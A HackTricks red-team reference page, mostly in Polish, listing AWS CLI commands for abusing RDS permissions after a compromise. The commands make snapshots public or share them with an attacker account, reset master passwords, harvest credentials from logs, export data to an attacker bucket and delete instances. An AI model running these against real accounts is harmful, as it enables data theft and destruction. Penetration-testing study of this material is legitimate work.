AWS - RDS Post Exploitation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

RDS

Aby uzyskać więcej informacji, sprawdź:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Jeśli atakujący ma wystarczające uprawnienia, może uczynić DB publicznie dostępnym, tworząc migawkę DB, a następnie publicznie dostępną DB z tej migawki.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Napastnik z tymi uprawnieniami mógłby utworzyć migawkę DB i uczynić ją publicznie dostępną. Następnie mógłby po prostu utworzyć w swoim własnym koncie DB z tej migawki.

Jeśli napastnik nie ma rds:CreateDBSnapshot, nadal mógłby uczynić inne utworzone migawki publicznymi.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Napastnik z uprawnieniem rds:DownloadDBLogFilePortion może pobierać fragmenty plików dziennika instancji RDS. Jeśli wrażliwe dane lub dane uwierzytelniające zostaną przypadkowo zapisane, napastnik może potencjalnie wykorzystać te informacje do eskalacji swoich uprawnień lub wykonania nieautoryzowanych działań.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potencjalny wpływ: Dostęp do wrażliwych informacji lub nieautoryzowane działania przy użyciu wyciekłych poświadczeń.

rds:DeleteDBInstance

Atakujący z tymi uprawnieniami może wykonać DoS na istniejących instancjach RDS.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Potencjalny wpływ: Usunięcie istniejących instancji RDS i potencjalna utrata danych.

rds:StartExportTask

TODO: Test

Napastnik z tym uprawnieniem może wyeksportować migawkę instancji RDS do koszyka S3. Jeśli napastnik ma kontrolę nad docelowym koszykiem S3, może potencjalnie uzyskać dostęp do wrażliwych danych w wyeksportowanej migawce.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potencjalny wpływ: Dostęp do wrażliwych danych w wyeksportowanym zrzucie.

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Dziel się sztuczkami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na GitHubie.